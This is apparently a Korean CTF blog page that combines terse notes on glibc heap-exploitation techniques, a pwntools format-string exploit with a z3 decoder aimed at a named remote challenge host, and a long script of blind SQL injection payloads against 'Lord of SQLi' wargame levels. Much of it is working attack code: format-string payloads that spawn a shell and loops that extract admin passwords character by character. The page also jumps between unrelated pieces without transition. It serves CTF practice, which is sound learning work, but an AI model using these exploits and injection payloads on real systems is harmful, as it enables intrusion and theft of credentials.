내가 보려고 만든 ctf의 ctf를 위한 ctf에 의한 힙 익스 아이디어

=====================



일단 ctf에 자주나오는 하우스 시리즈 힙 유형을 살펴본다

기법들에 대해 자세히 설명하지는 않는다. 전체적으로 훑어 보기로 한다.

제일 잘나오는건 세 가지다




#### 1.fastbin dup attack


 정말 제일 만만하고 제일 많이 쓰인다. 0x80까지의 동적메모리의 해제가 자유롭고

 arbitrary overwrite이든 overflow든 해제한 메모리의 next bin ptr영역에 overwrite가 가능하다면 이 기법을 사용할 수 있다. 

fastbin dup으로 overwrite를 할때는 bin의 사이즈 단위가 중요한데(같은 단위가 아니면 abort 0x10단위로 존재) 


특히 0x70단위의 경우 0x0000007f가 써져있는 메모리 영역에 접근이 가능한데 64비트의 경우 0x7f는 libc주소의 앞자리임으로 요긴하게 사용할 수 있다.(0x7f는 malloc_hook 앞에도 늘 존재하기 떄문에 malloc_hook을 덮을 때 꿀을 빨자)



#### 2.1byte overflow로 발생하는 poison null byte


0x18 0x28이런식으로 8로 끝나는 주소로 할당(32bit의 경우 4)하는 경우 청크가 딱 붙게 된다. 

그래서 1byte라도 오버플로우나는 경우 또는 입력의 마지막을 null 처리 해주는데 그게 다른 청크로 침범이 가능할 경우에는 바로 이 기법이다.(후자는 거이 이 기법을 유도했다고 볼 수 있다)


마지막이 null이 된다는 건 chunk/bin의 flag를 건들일 수 있다는 것이다. flag의 마지막 비트는 prev_inuse비트로 바로 뒤의 청크가 할당된 상태인지 해제된 상태인지를 나타낸다. 이 비트가 원래 1이었는데 0이 된다는 것은 뒤의 청크가 할당이 되어있지만 해제 되어있는 것처럼 여긴다는 것이다. 

prev_inuse가 0인 chunk을 free 할때는 이전 청크가 free된 청크라고 생각해서 consolidate 즉 병합하려고 한다. 이전 청크를 찾아갈때는 pre_size를 이용해서 찾아가는데 size를 덮을 수 있는 overwrite이면 당연히 prev_size 도 overwrite가 가능하다. 이를 이용해서 fake청크와 병합되게 한후 malloc하면 fake chunk로 할당이 된당(fake chunk의 size는 small bin 크기여야하고 fake chunk의 fd bk는 fakechunk의 주소를 넣으면 unlink assertion 을 우회할수 있다) 





#### 3.unsorted bin attack 


libc메모리릭할때 요긴하게 쓰인다

small/large bin 을 free하고 전후로 해제했던 다른 bin 이 없으면 fd/bk가 main_arena랑 연결이 됨. 해제한 메모리에 접근이 가능할때 libc릭으로 요긴하게 쓰인다.

그리고 임의의 주소를 free할 수 있을 때 특정주소에 main_arena의 주소를 쓸 수 있다. 이거는 자주 쓰이진 않지만 언제 쓰일지 모름으로 염두에 항상 두자






이 세가지가 가장 많이 나오고 자주나오진 않지만 핵심이 될 수 있는 기법은

top_chunk를 덮어버리는 기법들이다 


#### 1.house of force

 

top chunk를 덮어서 엄청 크게 만든다음 다른 메모리 영역을 건드린다.


#### 2.house of orange


top_chunk free를 이용한 최초의 문제가 hitcon2016의 house of orange 문제였기 때문에 house of orange 기법이라 칭하겠다


분명히 heap 문제인 것 같은데 free하는 부분이 없다거나 약간 모자른데 오버플로우가 난다?하면 이거다. 게다가 size가 덮어진다?하면 100프로 이거다.

처음에 할당했던 heap영역이 다 차게 되면 top_chunk를 free해버리고 mmap을 다시함. 아무튼 중요한건 top_chunk가 ㄹfree된다는것. top_chunk의 사이즈를 조절해서 fastbin attack으로 쓸 수도 있고 unsorted bin attack으로 릭이나 overwrite로 쓸 수도 있다, 이때 top_chunk가 무너지면서 abort를 출력할때 IO_FILE을 사용하는걸 이용해서 취약점 트리거에 이용하거나 int_free를 공격벡터로 사용하기도 한다.


#### 3.마지막으로 main_arena를 전체적으로 건드릴수 있을 때 top chunk와 unsorted bin 포인터를 덮어버릴 수도 있다.





만약에??


1. unlink 함수를 직접 구현해 놨다? -> 백퍼센트 unlink 취약점이다. unlink는 최신 glibc에 막혀있다.

막혀있기 전에는 unlink 할떄 bk->fd->bk=obj 또는 fd->bk->fd=obj를 확인하지 않았다.

그래서 obj의 fd bk overwrite만 가능하면 unlink취약점을 어렵지 않게 트리거 할 수 있다.


2. 당장 생각이 안나니 추후 추가




**이래도 취약점이 안보이면?**


_만약에 heap바이너리가 너무 크다 하면 왠만하면 uaf가 숨어있다. 잘 찾자! c++의 경우 vtable을 유념해서 봐보도록하자_

또는 how2heap의 다른 기법을 뒤져보자

내 입력이 암호화 되어서 printf(&encrypt);이런식으로 format string bug가 유발된다. 암호화는 어렵지 않고 오버플로우는 일어나지 않는다 복호화는 그냥 암호화 식을 이용해서 z3로 풀어버렸다 오버플로우가 안나는데 fsb만 가지고 어떻게 트리거할지 고민(삽질)하던 중 리모트로 테스트해보다가 리모트 환경이 aslr이 꺼져잇는 환경이라는 걸 알아냈다;; 디버깅으로 오프셋 구해서 stack libc베이스를 구하고 system('/bin/sh')를 트리거했다.

from pwn import *
import random
#import z3
from z3 import *
table='3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF'
table_ind={}
def encrypt(input):
	out=[0,0,0]
	out[0]=table_ind[input[0]]*4+((table_ind[input[1]]&0x30)>>4)
	out[1]=table_ind[input[1]]*16+((table_ind[input[2]]&0x3C)>>2)
	out[2]=table_ind[input[3]]+((table_ind[input[2]])<<6);
	for i in range(3):
		out[i]=chr(out[i]&0xff)
	return ''.join(out)

def decrypt(d):
	w=BitVec('w',32)
	x=BitVec('x',32)
	y=BitVec('y',32)
	z=BitVec('z',32)
	s=Solver()
	s.add(w<64,x<64,y<64,z<64)
	s.add((((w*4+((x&0x30)>>4)))&0xff)==ord(d[0]))
	s.add((((x*16+((y&0x3c)>>2)))&0xff)==ord(d[1]))
	s.add((((y<<6)+z)&0xff)==ord(d[2]))
	s.check()
	return table[int(str(s.model()[w]))]+table[int(str(s.model()[x]))]+table[int(str(s.model()[y]))]+table[int(str(s.model()[z]))]


#r=remote('192.168.2.238',3333)
#raw_input()

for i in range(len(table)):
	table_ind[table[i]]=i
#print table_ind

#print decrypt("%8x") #%8x : OdXy
#print decrypt("%40") #%40 : Odbq
#print decrypt("96c") #TdjZ
#print decrypt("%38")+decrypt("$8x") # OdRyOIXy : 0xffffdc6c+0xdc : return
#payload='%143$8x%4096c'

libc_startmain=0xf7e31637-247
libc_base=libc_startmain-0x18540#0xf7e31637
system=libc_base+0x3a940
binsh=libc_base+0x15900b
stack_ret=0xffffdc6c+0x150+0x10#0xdc
payload='AAAA'

#system=0xf7e3cda0
#binsh=0xf7f5d9ab
#stack_ret=0xffffd70c
pay=''
r=remote('megan35.stillhackinganyway.nl',3535)
#r=remote('192.168.2.238',3333)
raw_input()
payload=fmtstr.fmtstr_payload(71,{stack_ret:system,stack_ret+8:binsh})+"%4096c"#,write_size='short')+'%4096c'
print payload
#payload='%38$8x'+"%4096c"
#payload='%143$8x'
#payload="AAAABBBBCCCCDDDD"+"%71$8x"#+"%4096c"
if len(payload)%3!=0:
	l=len(payload)
	payload=payload.ljust(l+3-len(payload)%3,' ')
for i in range(len(payload)/3):
	pay+=(decrypt(payload[i*3:i*3+3]))
print pay
r.sendline(pay)
r.interactive()

'CTF' 카테고리의 다른 글

[codegate 2018 final] 7amebox3  (0) 2018.04.07
[codegate2018 final]place the blanket  (0) 2018.04.07
[H3XOR]column test  (0) 2017.08.02
[codegate2017]VM  (0) 2017.07.25
[2017 googlectf] inst_prof  (0) 2017.06.19
import requests
import time
s=requests.session()

cookie={'__cfduid':'d392d5cf39f2a1476ffb7cf441ad0da3b1501471981','PHPSESSID':'2h91mockfjn960lg20cl338712'}
password=''
#orc

def org():
	for ind in range(1,50):
		for x in range(0x20,0x80):#0x80):
			res=requests.get('http://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php',params={"pw":"1\'||id=0x61646d696e and (select ascii(substr(pw,{},1)))={}#".format(ind,x)},cookies=cookie).text
			if 'Hello admin' in res:
				print x
				print '[**]'+chr(x)
				password+=chr(x)
				print 'password: '+password
				break
		if x==0x7f:
			print '[xx]'
			break

#orge
def orge():
	for ind in range(1,10):
		for x in range(0x20,0x80):#0x80):
			res=requests.get('http://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php',params={"pw":"1'||id=0x61646d696e&&(select ascii(substr(pw,{},1)))={}#".format(ind,x)},cookies=cookie).text
			if 'Hello admin' in res:
				print x
				print '[**]'+chr(x)
				password+=chr(x)
				print 'password: '+password
				break

		if x==0x7f:
			print '[xx]'
			break

#golem
#https://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?pw=123%27||id%20like%20%27admin%27%26%26ascii(mid(pw,1,1))>0%23
def golem():
	for ind in range(1,10):
		for x in range(0x20,0x80):#0x80):
			res=requests.get('http://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php',params={"pw":"123'||id like 'admin'&&ascii(mid(pw,{},1)) like {}#".format(ind,x)},cookies=cookie).text
			if 'Hello admin' in res:
				print x
				print '[**]'+chr(x)
				password+=chr(x)
				print 'password: '+password
				break

		if x==0x7f:
			print '[xx]'
			break

#darknight
#https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?
def darknight():
	password=''
	for ind in range(1,10):
		for x in range(0x20,0x80):#0x80):
			res=requests.get('https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php',params={"pw":"123","no":"123||id like 0x61646d696e&&ord(mid(pw,{},1)) like {}#".format(ind,x)},cookies=cookie).text
			if 'Hello admin' in res:
				print x
				print '[**]'+chr(x)
				password+=chr(x)
				print 'password: '+password
				break
		if x==0x7f:
			print '[xx]'
			break
	print res
def bugbear():
	password=''
	for ind in range(1,10):
		p=0
		for x in range(7,-1,-1):
			param={"pw":"123","no":"1||no>1&&hex(mid(pw,{},1))<{}#".format(ind,hex(p+2**x)[2:])}
			res=requests.get('https://los.eagle-jump.org/bugbear_431917ddc1dec75b4d65a23bd39689f8.php',params=param,cookies=cookie).text
			if 'Hello admin' not in res:
				p+=2**x
		print '[**]'+chr(p)
		password+=chr(p)
		print 'password: '+password
	print res
def giant():
	password=''
	param={'shit':chr(0xb)}
	res=requests.get('https://los.eagle-jump.org/giant_9e5c61fc7f0711c680a4bf2553ee60bb.php',params=param,cookies=cookie).text
	print res
string='0123456789abcdefghijklmnopqrstuvwxyz'#ABCDEFGHIJKLMNOPQRSTUVWXYZ'
def assassin():
	password=''
	for i in range(10):
		#for x in range(0x20,0x80):
		for c in string:
			param={'pw':password+c+'%'}
			#print param
			res=requests.get('https://los.eagle-jump.org/assassin_bec1c90a48bc3a9f95fbf0c8ae8c88e1.php',params=param,cookies=cookie).text
			#print res
			if 'Hello ' in res:
				if 'Hello admin' in res:
					x=c
					break
				x=c
		password+=x
		print 'password :'+password
		
def zombie_assassin():
	password=''
	param={'id':'guest','pw':"{}'||1#'".format(chr(0x0))}
	res=requests.get('https://los.eagle-jump.org/zombie_assassin_14dfa83153eb348c4aea012d453e9c8a.php',params=param,cookies=cookie).text
	print res

def succubus():
	password=''
	param={'id':'\\','pw':"||1=1#"}
	res=requests.get('https://los.eagle-jump.org/succubus_8ab2d195be2e0b10a3b5aa2873d0863f.php',params=param,cookies=cookie).text
	print res

def nightmare():
	password=''
	param={'pw':"')=0;{}".format(chr(0))}
	res=requests.get('https://los.eagle-jump.org/nightmare_ce407ee88ba848c2bec8e42aaeaa6ad4.php',params=param,cookies=cookie).text
	print res

def xavis():
	password=''
	for ind in range(1,51):
		p=0
		for x in range(10,-1,-1):
			param={'pw':"12'||id='admin'&&ord(substr(pw,{},1))<{}#".format(ind,p+2**x)}
			res=requests.get('https://los.eagle-jump.org/xavis_fd4389515d6540477114ec3c79623afe.php',params=param,cookies=cookie).text
			#print res
			#raw_input('>')
			if 'Hello admin' not in res:
				p+=2**x
		print p
		print '[**]'+hex(p)
		password+=hex(p)[2:]+' '
		print 'password: '+password
	print res

def hexor():
	param={'id':"123' union select 2,",'pw':"#"}
	password=''
	for ind in range(1,10):
		p=0
		for x in range(7,-1,-1):
			param={'id':"123' or ascii(substr(",'pw':",{},1))<{}#".format(ind,p+2**x)}
			res=requests.get('http://13.124.1.51/web/prob15/?id=info',params=param).text
			if 'Hello guest' not in res:
				p+=2**x
		#print p
			print res
			#time.sleep(10000)
		print p
		print '[**]'+chr(p)
		password+=chr(p)
		print 'password: '+password
def dragon():
	param={'pw':"1'\n||id='admin' order by id#"}
	res=requests.get('https://los.eagle-jump.org/dragon_7ead3fe768221c5d34bc42d518130972.php',params=param,cookies=cookie).text
	print res

def iron_golem():
	password=''
	for ind in range(1,51):
		p=0#ascii(substr(pw,{},1))<{}
		for x in range(10,-1,-1):
			param={'pw':"123'||id='admin'&&(select if(ord(substr(pw,{},1))={}&&id='admin',True,(select 1 union select 2)))#".format(ind,p+2**x)}
			res=requests.get('https://los.eagle-jump.org/iron_golem_d54668ae66cb6f43e92468775b1d1e38.php',params=param,cookies=cookie).text
			if 'Subquery returns more than 1 row' in res:
				p+=2**x
			print res
			time.sleep(1000)
		print p
		print '[**]'+hex(p)
		password+=hex(p)[2:]+' '
		print 'password: '+password

def dark_eyes():
	password=''
	for ind in range(1,51):
		p=0
		for x in range(10,-1,-1):
			param={'pw':"123'||id='admin'&&(select ord(substr(pw,{},1))<{} union select 1)#".format(ind,p+2**x)}
			res=requests.get('https://los.eagle-jump.org/dark_eyes_a7f01583a2ab681dc71e5fd3a40c0bd4.php',params=param,cookies=cookie).text
			
			if '
query : ' not in res: p+=2**x print p print '[**]'+chr(p) password+=chr(p) print 'password: '+password print res def umaru(): password='' param={'flag':"select 1 union select 2"} res=requests.get('https://los.eagle-jump.org/umaru_6f977f0504e56eeb72967f35eadbfdf5.php',params=param,cookies=cookie).text print res #hexor() #dragon() #xavis() #iron_golem() #dark_eyes() umaru() #"' or if((select id='admin' and substr(pw,1,1)='a',true,(select 1 union select 2)))


+ Recent posts